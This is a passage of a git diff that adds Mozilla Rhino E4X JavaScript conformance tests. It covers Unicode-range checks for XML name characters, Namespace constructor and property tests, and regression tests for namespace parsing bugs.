+markRange(chars, 0x0E32, 0x0E33, marker);
+markRange(chars, 0x0E40, 0x0E45, marker);
+markRange(chars, 0x0E81, 0x0E82, marker);
+markRange(chars, 0x0E84, 0x0E84, marker);
+markRange(chars, 0x0E87, 0x0E88, marker);
+markRange(chars, 0x0E8A, 0x0E8A, marker);
+markRange(chars, 0x0E8D, 0x0E8D, marker);
+markRange(chars, 0x0E94, 0x0E97, marker);
+markRange(chars, 0x0E99, 0x0E9F, marker);
+markRange(chars, 0x0EA1, 0x0EA3, marker);
+markRange(chars, 0x0EA5, 0x0EA5, marker);
+markRange(chars, 0x0EA7, 0x0EA7, marker);
+markRange(chars, 0x0EAA, 0x0EAB, marker);
+markRange(chars, 0x0EAD, 0x0EAE, marker);
+markRange(chars, 0x0EB0, 0x0EB0, marker);
+markRange(chars, 0x0EB2, 0x0EB3, marker);
+markRange(chars, 0x0EBD, 0x0EBD, marker);
+markRange(chars, 0x0EC0, 0x0EC4, marker);
+markRange(chars, 0x0F40, 0x0F47, marker);
+markRange(chars, 0x0F49, 0x0F69, marker);
+markRange(chars, 0x10A0, 0x10C5, marker);
+markRange(chars, 0x10D0, 0x10F6, marker);
+markRange(chars, 0x1100, 0x1100, marker);
+markRange(chars, 0x1102, 0x1103, marker);
+markRange(chars, 0x1105, 0x1107, marker);
+markRange(chars, 0x1109, 0x1109, marker);
+markRange(chars, 0x110B, 0x110C, marker);
+markRange(chars, 0x110E, 0x1112, marker);
+markRange(chars, 0x113C, 0x113C, marker);
+markRange(chars, 0x113E, 0x113E, marker);
+markRange(chars, 0x1140, 0x1140, marker);
+markRange(chars, 0x114C, 0x114C, marker);
+markRange(chars, 0x114E, 0x114E, marker);
+markRange(chars, 0x1150, 0x1150, marker);
+markRange(chars, 0x1154, 0x1155, marker);
+markRange(chars, 0x1159, 0x1159, marker);
+markRange(chars, 0x115F, 0x1161, marker);
+markRange(chars, 0x1163, 0x1163, marker);
+markRange(chars, 0x1165, 0x1165, marker);
+markRange(chars, 0x1167, 0x1167, marker);
+markRange(chars, 0x1169, 0x1169, marker);
+markRange(chars, 0x116D, 0x116E, marker);
+markRange(chars, 0x1172, 0x1173, marker);
+markRange(chars, 0x1175, 0x1175, marker);
+markRange(chars, 0x119E, 0x119E, marker);
+markRange(chars, 0x11A8, 0x11A8, marker);
+markRange(chars, 0x11AB, 0x11AB, marker);
+markRange(chars, 0x11AE, 0x11AF, marker);
+markRange(chars, 0x11B7, 0x11B8, marker);
+markRange(chars, 0x11BA, 0x11BA, marker);
+markRange(chars, 0x11BC, 0x11C2, marker);
+markRange(chars, 0x11EB, 0x11EB, marker);
+markRange(chars, 0x11F0, 0x11F0, marker);
+markRange(chars, 0x11F9, 0x11F9, marker);
+markRange(chars, 0x1E00, 0x1E9B, marker);
+markRange(chars, 0x1EA0, 0x1EF9, marker);
+markRange(chars, 0x1F00, 0x1F15, marker);
+markRange(chars, 0x1F18, 0x1F1D, marker);
+markRange(chars, 0x1F20, 0x1F45, marker);
+markRange(chars, 0x1F48, 0x1F4D, marker);
+markRange(chars, 0x1F50, 0x1F57, marker);
+markRange(chars, 0x1F59, 0x1F59, marker);
+markRange(chars, 0x1F5B, 0x1F5B, marker);
+markRange(chars, 0x1F5D, 0x1F5D, marker);
+markRange(chars, 0x1F5F, 0x1F7D, marker);
+markRange(chars, 0x1F80, 0x1FB4, marker);
+markRange(chars, 0x1FB6, 0x1FBC, marker);
+markRange(chars, 0x1FBE, 0x1FBE, marker);
+markRange(chars, 0x1FC2, 0x1FC4, marker);
+markRange(chars, 0x1FC6, 0x1FCC, marker);
+markRange(chars, 0x1FD0, 0x1FD3, marker);
+markRange(chars, 0x1FD6, 0x1FDB, marker);
+markRange(chars, 0x1FE0, 0x1FEC, marker);
+markRange(chars, 0x1FF2, 0x1FF4, marker);
+markRange(chars, 0x1FF6, 0x1FFC, marker);
+markRange(chars, 0x2126, 0x2126, marker);
+markRange(chars, 0x212A, 0x212B, marker);
+markRange(chars, 0x212E, 0x212E, marker);
+markRange(chars, 0x2180, 0x2182, marker);
+markRange(chars, 0x3041, 0x3094, marker);
+markRange(chars, 0x30A1, 0x30FA, marker);
+markRange(chars, 0x3105, 0x312C, marker);
+markRange(chars, 0xAC00, 0xD7A3, marker);
+
+// Ideographic
+
+markRange(chars, 0x4E00, 0x9FA5, marker);
+markRange(chars, 0x3007, 0x3007, marker);
+markRange(chars, 0x3021, 0x3029, marker);
+
+// Digit
+
+marker = OTHER;
+
+markRange(chars, 0x0030, 0x0039, marker);
+markRange(chars, 0x0660, 0x0669, marker);
+markRange(chars, 0x06F0, 0x06F9, marker);
+markRange(chars, 0x0966, 0x096F, marker);
+markRange(chars, 0x09E6, 0x09EF, marker);
+markRange(chars, 0x0A66, 0x0A6F, marker);
+markRange(chars, 0x0AE6, 0x0AEF, marker);
+markRange(chars, 0x0B66, 0x0B6F, marker);
+markRange(chars, 0x0BE7, 0x0BEF, marker);
+markRange(chars, 0x0C66, 0x0C6F, marker);
+markRange(chars, 0x0CE6, 0x0CEF, marker);
+markRange(chars, 0x0D66, 0x0D6F, marker);
+markRange(chars, 0x0E50, 0x0E59, marker);
+markRange(chars, 0x0ED0, 0x0ED9, marker);
+markRange(chars, 0x0F20, 0x0F29, marker);
+
+// "Other NameChars"
+
+markRange(chars, 0x2e, 0x2e, marker);
+markRange(chars, 0x2d, 0x2d, marker);
+
+marker = START | OTHER;
+
+markRange(chars, 0x5f, 0x5f, marker);
+
+// e4x excludes ':'
+
+// CombiningChar
+
+marker = OTHER;
+
+markRange(chars, 0x0300, 0x0345, marker);
+markRange(chars, 0x0360, 0x0361, marker);
+markRange(chars, 0x0483, 0x0486, marker);
+markRange(chars, 0x0591, 0x05A1, marker);
+markRange(chars, 0x05A3, 0x05B9, marker);
+markRange(chars, 0x05BB, 0x05BD, marker);
+markRange(chars, 0x05BF, 0x05BF, marker);
+markRange(chars, 0x05C1, 0x05C2, marker);
+markRange(chars, 0x05C4, 0x05C4, marker);
+markRange(chars, 0x064B, 0x0652, marker);
+markRange(chars, 0x0670, 0x0670, marker);
+markRange(chars, 0x06D6, 0x06DC, marker);
+markRange(chars, 0x06DD, 0x06DF, marker);
+markRange(chars, 0x06E0, 0x06E4, marker);
+markRange(chars, 0x06E7, 0x06E8, marker);
+markRange(chars, 0x06EA, 0x06ED, marker);
+markRange(chars, 0x0901, 0x0903, marker);
+markRange(chars, 0x093C, 0x093C, marker);
+markRange(chars, 0x093E, 0x094C, marker);
+markRange(chars, 0x094D, 0x094D, marker);
+markRange(chars, 0x0951, 0x0954, marker);
+markRange(chars, 0x0962, 0x0963, marker);
+markRange(chars, 0x0981, 0x0983, marker);
+markRange(chars, 0x09BC, 0x09BC, marker);
+markRange(chars, 0x09BE, 0x09BE, marker);
+markRange(chars, 0x09BF, 0x09BF, marker);
+markRange(chars, 0x09C0, 0x09C4, marker);
+markRange(chars, 0x09C7, 0x09C8, marker);
+markRange(chars, 0x09CB, 0x09CD, marker);
+markRange(chars, 0x09D7, 0x09D7, marker);
+markRange(chars, 0x09E2, 0x09E3, marker);
+markRange(chars, 0x0A02, 0x0A02, marker);
+markRange(chars, 0x0A3C, 0x0A3C, marker);
+markRange(chars, 0x0A3E, 0x0A3E, marker);
+markRange(chars, 0x0A3F, 0x0A3F, marker);
+markRange(chars, 0x0A40, 0x0A42, marker);
+markRange(chars, 0x0A47, 0x0A48, marker);
+markRange(chars, 0x0A4B, 0x0A4D, marker);
+markRange(chars, 0x0A70, 0x0A71, marker);
+markRange(chars, 0x0A81, 0x0A83, marker);
+markRange(chars, 0x0ABC, 0x0ABC, marker);
+markRange(chars, 0x0ABE, 0x0AC5, marker);
+markRange(chars, 0x0AC7, 0x0AC9, marker);
+markRange(chars, 0x0ACB, 0x0ACD, marker);
+markRange(chars, 0x0B01, 0x0B03, marker);
+markRange(chars, 0x0B3C, 0x0B3C, marker);
+markRange(chars, 0x0B3E, 0x0B43, marker);
+markRange(chars, 0x0B47, 0x0B48, marker);
+markRange(chars, 0x0B4B, 0x0B4D, marker);
+markRange(chars, 0x0B56, 0x0B57, marker);
+markRange(chars, 0x0B82, 0x0B83, marker);
+markRange(chars, 0x0BBE, 0x0BC2, marker);
+markRange(chars, 0x0BC6, 0x0BC8, marker);
+markRange(chars, 0x0BCA, 0x0BCD, marker);
+markRange(chars, 0x0BD7, 0x0BD7, marker);
+markRange(chars, 0x0C01, 0x0C03, marker);
+markRange(chars, 0x0C3E, 0x0C44, marker);
+markRange(chars, 0x0C46, 0x0C48, marker);
+markRange(chars, 0x0C4A, 0x0C4D, marker);
+markRange(chars, 0x0C55, 0x0C56, marker);
+markRange(chars, 0x0C82, 0x0C83, marker);
+markRange(chars, 0x0CBE, 0x0CC4, marker);
+markRange(chars, 0x0CC6, 0x0CC8, marker);
+markRange(chars, 0x0CCA, 0x0CCD, marker);
+markRange(chars, 0x0CD5, 0x0CD6, marker);
+markRange(chars, 0x0D02, 0x0D03, marker);
+markRange(chars, 0x0D3E, 0x0D43, marker);
+markRange(chars, 0x0D46, 0x0D48, marker);
+markRange(chars, 0x0D4A, 0x0D4D, marker);
+markRange(chars, 0x0D57, 0x0D57, marker);
+markRange(chars, 0x0E31, 0x0E31, marker);
+markRange(chars, 0x0E34, 0x0E3A, marker);
+markRange(chars, 0x0E47, 0x0E4E, marker);
+markRange(chars, 0x0EB1, 0x0EB1, marker);
+markRange(chars, 0x0EB4, 0x0EB9, marker);
+markRange(chars, 0x0EBB, 0x0EBC, marker);
+markRange(chars, 0x0EC8, 0x0ECD, marker);
+markRange(chars, 0x0F18, 0x0F19, marker);
+markRange(chars, 0x0F35, 0x0F35, marker);
+markRange(chars, 0x0F37, 0x0F37, marker);
+markRange(chars, 0x0F39, 0x0F39, marker);
+markRange(chars, 0x0F3E, 0x0F3E, marker);
+markRange(chars, 0x0F3F, 0x0F3F, marker);
+markRange(chars, 0x0F71, 0x0F84, marker);
+markRange(chars, 0x0F86, 0x0F8B, marker);
+markRange(chars, 0x0F90, 0x0F95, marker);
+markRange(chars, 0x0F97, 0x0F97, marker);
+markRange(chars, 0x0F99, 0x0FAD, marker);
+markRange(chars, 0x0FB1, 0x0FB7, marker);
+markRange(chars, 0x0FB9, 0x0FB9, marker);
+markRange(chars, 0x20D0, 0x20DC, marker);
+markRange(chars, 0x20E1, 0x20E1, marker);
+markRange(chars, 0x302A, 0x302F, marker);
+markRange(chars, 0x3099, 0x3099, marker);
+markRange(chars, 0x309A, 0x309A, marker);
+
+// Extender
+
+markRange(chars, 0x00B7, 0x00B7, marker);
+markRange(chars, 0x02D0, 0x02D0, marker);
+markRange(chars, 0x02D1, 0x02D1, marker);
+markRange(chars, 0x0387, 0x0387, marker);
+markRange(chars, 0x0640, 0x0640, marker);
+markRange(chars, 0x0E46, 0x0E46, marker);
+markRange(chars, 0x0EC6, 0x0EC6, marker);
+markRange(chars, 0x3005, 0x3005, marker);
+markRange(chars, 0x3031, 0x3035, marker);
+markRange(chars, 0x309D, 0x309E, marker);
+markRange(chars, 0x30FC, 0x30FE, marker);
+
+TEST(6, '', testIsXMLName(chars));
+
+END();
+
+
+// Utilities
+
+function markRange(buffer, start, end, marker)
+{
+ for (var i = start; i <= end; i++)
+ {
+ buffer[i] |= marker;
+ }
+}
+
+function init()
+{
+ var length = 0xFFFF + 1;
+ var chars = new Array(length);
+ for (var i = 0; i < length; i++)
+ {
+ chars[i] = 0;
+ }
+ return chars;
+}
+
+function testIsXMLName(buffer)
+{
+ var nl = "\n";
+ var result = '';
+ var length = buffer.length;
+
+ var rangestart = null;
+ var rangeend = null;
+ var rangemessage = '';
+
+ for (var i = 0; i < length; i++)
+ {
+ var message = '';
+ var c = String.fromCharCode(i);
+ var marker = buffer[i];
+
+ var namestart = isXMLName(c + 'x');
+ var nameother = isXMLName('x' + c);
+
+ if (marker == 0 && namestart)
+ {
+ message += ': Invalid char accepted as start ';
+ }
+
+ if (marker == 0 && nameother)
+ {
+ message += ': Invalid Char accepted as other ';
+ }
+
+ if ((marker & START) && !namestart)
+ {
+ message += ': Start char not accepted';
+ }
+
+ if ((marker & OTHER) && !nameother)
+ {
+ message += ': Other char not accepted';
+ }
+
+
+ if (rangemessage && !message)
+ {
+ // no current error, previous error
+ // output previous error range
+ result += rangestart + '-' + rangeend + ' ' +
+ rangemessage + nl;
+ rangemessage = rangestart = rangeend = null;
+ }
+ else if (!rangemessage && message)
+ {
+ // current error, no previous error
+ // start new error range
+ rangemessage = message;
+ rangestart = rangeend = formatChar(c);
+ }
+ else if (rangemessage && message)
+ {
+ if (rangemessage == message)
+ {
+ // current error same as previous
+ // continue previous error range
+ rangeend = formatChar(c);
+ }
+ else
+ {
+ // different error, output range
+ result += rangestart + '-' + rangeend + ' ' +
+ rangemessage + nl;
+ rangemessage = message;
+ rangestart = rangeend = formatChar(c);
+ }
+ }
+ }
+
+ if (rangemessage)
+ {
+ result += rangestart + '-' + rangeend + ' ' +
+ rangemessage + nl;
+ }
+
+ return result;
+}
+
+function formatChar(c)
+{
+ var s = '0x' + c.charCodeAt(0).toString(16).toUpperCase();
+ return s;
+}
+
diff --git a/e4x/Global/browser.js b/e4x/Global/browser.js
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/e4x/Global/browser.js
diff --git a/e4x/Global/shell.js b/e4x/Global/shell.js
new file mode 100644
index 0000000..a4f58ec
--- /dev/null
+++ b/e4x/Global/shell.js
@@ -0,0 +1 @@
+gTestsubsuite = 'Global';
diff --git a/e4x/Namespace/13.2.1.js b/e4x/Namespace/13.2.1.js
new file mode 100644
index 0000000..2c13b4a
--- /dev/null
+++ b/e4x/Namespace/13.2.1.js
@@ -0,0 +1,68 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '13.2.1.js';
+
+START("13.2.1 - Namespace Constructor as Function");
+
+n = Namespace();
+m = new Namespace();
+TEST(1, typeof(m), typeof(n));
+TEST(2, m.prefix, n.prefix);
+TEST(3, m.uri, n.uri);
+
+n = Namespace("http://foobar/");
+m = new Namespace("http://foobar/");
+TEST(4, typeof(m), typeof(n));
+TEST(5, m.prefix, n.prefix);
+TEST(6, m.uri, n.uri);
+
+n = Namespace("foobar", "http://foobar/");
+m = new Namespace("foobar", "http://foobar/");
+TEST(7, typeof(m), typeof(n));
+TEST(8, m.prefix, n.prefix);
+TEST(9, m.uri, n.uri);
+
+n = Namespace(m);
+TEST(10, m, n);
+
+END();
\ No newline at end of file
diff --git a/e4x/Namespace/13.2.2.js b/e4x/Namespace/13.2.2.js
new file mode 100644
index 0000000..93751f5
--- /dev/null
+++ b/e4x/Namespace/13.2.2.js
@@ -0,0 +1,86 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '13.2.2.js';
+
+START("13.2.2 - Namespace Constructor");
+
+n = new Namespace();
+TEST(1, "object", typeof(n));
+TEST(2, "", n.prefix);
+TEST(3, "", n.uri);
+
+n = new Namespace("");
+TEST(4, "object", typeof(n));
+TEST(5, "", n.prefix);
+TEST(6, "", n.uri);
+
+n = new Namespace("http://foobar/");
+TEST(7, "object", typeof(n));
+TEST(8, "undefined", typeof(n.prefix));
+TEST(9, "http://foobar/", n.uri);
+
+// Check if the undefined prefix is getting set properly
+m = new Namespace(n);
+TEST(10, typeof(n), typeof(m));
+TEST(11, n.prefix, m.prefix);
+TEST(12, n.uri, m.uri);
+
+n = new Namespace("foobar", "http://foobar/");
+TEST(13, "object", typeof(n));
+TEST(14, "foobar", n.prefix);
+TEST(15, "http://foobar/", n.uri);
+
+// Check if all the properties are getting copied
+m = new Namespace(n);
+TEST(16, typeof(n), typeof(m));
+TEST(17, n.prefix, m.prefix);
+TEST(18, n.uri, m.uri);
+
+try {
+ n = new Namespace("ns", "");
+ SHOULD_THROW(19);
+} catch(ex) {
+ TEST(19, "TypeError", ex.name);
+}
+
+END();
\ No newline at end of file
diff --git a/e4x/Namespace/13.2.5.js b/e4x/Namespace/13.2.5.js
new file mode 100644
index 0000000..8186db8
--- /dev/null
+++ b/e4x/Namespace/13.2.5.js
@@ -0,0 +1,67 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '13.2.5.js';
+
+START("13.2.5 - Properties of Namespace Instances");
+
+n = new Namespace("ns", "http://someuri");
+TEST(1, true, n.hasOwnProperty("prefix"));
+TEST(2, true, n.hasOwnProperty("uri"));
+TEST(3, true, n.propertyIsEnumerable("prefix"));
+TEST(4, true, n.propertyIsEnumerable("uri"));
+
+var prefixCount = 0;
+var uriCount = 0;
+var p;
+for(p in n)
+{
+ if(p == "prefix") prefixCount++;
+ if(p == "uri") uriCount++;
+}
+
+TEST(5, 1, prefixCount);
+TEST(6, 1, uriCount);
+TEST(7, "ns", n.prefix);
+TEST(8, "http://someuri", n.uri);
+
+END();
\ No newline at end of file
diff --git a/e4x/Namespace/browser.js b/e4x/Namespace/browser.js
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/e4x/Namespace/browser.js
diff --git a/e4x/Namespace/regress-283972.js b/e4x/Namespace/regress-283972.js
new file mode 100755
index 0000000..5d5e3c0
--- /dev/null
+++ b/e4x/Namespace/regress-283972.js
@@ -0,0 +1,65 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Martin Honnen <martin.honnen@gmx.de>
+ * Bob Clary <bob@bclary.com>
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-283972.js';
+
+var summary = 'throw error when two attributes with the same local name and ' +
+ 'the same namespace';
+var BUGNUMBER = 283972;
+var actual = 'no error';
+var expect = 'error';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+try
+{
+ var xml = <god xmlns:pf1="http://example.com/2005/02/pf1"
+ xmlns:pf2="http://example.com/2005/02/pf1"
+ pf1:name="Kibo"
+ pf2:name="Xibo" />;
+ printStatus(xml.toXMLString());
+}
+catch(e)
+{
+ actual = 'error';
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Namespace/regress-292863.js b/e4x/Namespace/regress-292863.js
new file mode 100755
index 0000000..dbf20b2
--- /dev/null
+++ b/e4x/Namespace/regress-292863.js
@@ -0,0 +1,62 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Martin Honnen
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-292863.js';
+
+var summary = "Undeclaring namespace prefix should cause parse error";
+var BUGNUMBER = 292863;
+var actual = 'no error';
+var expect = 'error';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+try
+{
+ var godList = <gods:gods xmlns:gods="http://example.com/2005/05/04/gods">
+ <god xmlns:god="">Kibo</god>
+ </gods:gods>;
+ printStatus(godList.toXMLString());
+}
+catch(e)
+{
+ actual = 'error';
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Namespace/regress-350442.js b/e4x/Namespace/regress-350442.js
new file mode 100755
index 0000000..699b0c9
--- /dev/null
+++ b/e4x/Namespace/regress-350442.js
@@ -0,0 +1,74 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Lubos Ures
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-350442.js';
+
+var BUGNUMBER = 350442;
+var summary = 'toXMLString with namespace definitions';
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+expect = false;
+actual = false;
+
+try
+{
+ var t1 = <tag1 xmlns="http://ns1"/>;
+ var n2 = new Namespace("http://ns2");
+ t1.@n2::a1="a1 from ns2";
+
+ var t1XMLString = t1.toXMLString();
+
+ var attrMatch = /xmlns:([^=]+)="http:\/\/ns2"/.exec(t1XMLString);
+ if (!attrMatch)
+ throw "No @n2::a1 attribute present";
+
+ var nsRegexp = new RegExp(attrMatch[1] + ':a1="a1 from ns2"');
+ if (!nsRegexp.test(t1XMLString))
+ throw "No namespace declaration present for @ns2::a1";
+}
+catch (e)
+{
+ actual = e;
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Namespace/regress-444608-02.js b/e4x/Namespace/regress-444608-02.js
new file mode 100755
index 0000000..e64095d
--- /dev/null
+++ b/e4x/Namespace/regress-444608-02.js
@@ -0,0 +1,55 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2008
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
